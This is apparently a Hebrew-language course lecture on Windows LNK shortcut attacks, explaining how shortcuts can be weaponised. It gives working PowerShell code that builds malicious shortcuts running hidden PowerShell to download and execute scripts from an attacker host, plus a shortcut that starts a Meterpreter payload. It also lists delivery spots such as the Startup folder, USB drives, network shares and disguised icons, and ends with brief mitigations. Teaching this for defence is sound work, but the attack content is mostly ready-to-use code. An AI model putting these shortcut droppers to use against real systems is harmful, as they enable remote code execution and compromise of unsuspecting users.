5.5 תקיפת LNK File Attack הרצאה
תקיפת LNK File Attack¶
קובצי LNK (קיצור דרך ב-Windows) הם קבצים שנוצרו כדי להפנות לקבצים או תוכניות אחרות, אך ניתן לנצל אותם לתקיפה על ידי החדרת פקודות זדוניות שיבוצעו אוטומטית כאשר המשתמש פותח את הקובץ. התקפה זו מאפשרת הרצת קוד מרחוק (RCE), גניבת creds וטעינת נוזקות ללא צורך בהרשאות ניהול.
הבנת הפגיעות¶
בדרך כלל, קובץ LNK מפנה לתוכנית לגיטימית, אך ניתן לשנות את היעד כך שיפעיל פקודה זדונית.
התקיפה פועלת כך:
-
התוקף יוצר קובץ
shortcut.lnkשבו מוגדר Payload זדוני. -
כאשר המשתמש פותח את הקובץ, הפקודה רצה ברקע מבלי שהמשתמש יחשוד.
-
ניתן לנצל זאת כדי להריץ PowerShell, לגנוב NTLM Hashes או להתחבר לשרת של התוקף.
דוגמה לתוכן LNK זדוני:
C:\Windows\System32\cmd.exe /c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
הפקודה למטה מורידה קובץ powershell מאתר של התוקף ומריצה אותו.
בניית LNK זדוני עם PowerShell¶
ניתן ליצור קובץ LNK זדוני בעזרת PowerShell:
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\Public\Documents\malicious.lnk")
$Shortcut.TargetPath = "C:\Windows\System32\cmd.exe"
$Shortcut.Arguments = "/c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command `"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/rev.ps1')`""
$Shortcut.Save()
הדבקת LNK במקום אסטרטגי¶
לאחר יצירת קובץ ה-LNK, ניתן למקם אותו באחד הנתיבים הבאים כדי להבטיח הפעלה אוטומטית:
-
בStartup Folder – קובץ זדוני שיפעל עם הפעלת המחשב.
-
בUSB Devices – יצירת LNK בכונן USB, כך שכאשר הקורבן יפתח את הקובץ, הקוד ירוץ.
-
בNetwork Shares – יצירת LNK בכונן משותף.
-
משחקי Social Engineering – שינוי האייקון של הקובץ כך שייראה כמו קובץ תמונה, PDF או תיקייה.
הרצת Meterpreter דרך LNK¶
ניתן להשתמש ב-Metasploit כדי ליצור LNK שמריץ Meterpreter:
כעת ניצור LNK שמריץ את הקובץ:
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\Public\Documents\malicious.lnk")
$Shortcut.TargetPath = "C:\Windows\System32\cmd.exe"
$Shortcut.Arguments = "/c start C:\Users\Public\Documents\shell.exe"
$Shortcut.Save()
לאחר שהמשתמש יפתח את קובץ ה-LNK, התוקף יקבל Meterpreter Shell.
מניעת תקיפות LNK¶
-
הגבלת הפעלת קובצי LNK ממקורות לא מוכרים.
-
ביטול SMBv1 וחסימת בקשות חוץ ארגוניות.
-
הגדרת Group Policy לחסימת שימוש ב-Shortcut Files מסוימים.
-
השתמש ב-Windows Defender ו-EDR כדי לזהות ניסיונות להריץ קובצי LNK זדוניים.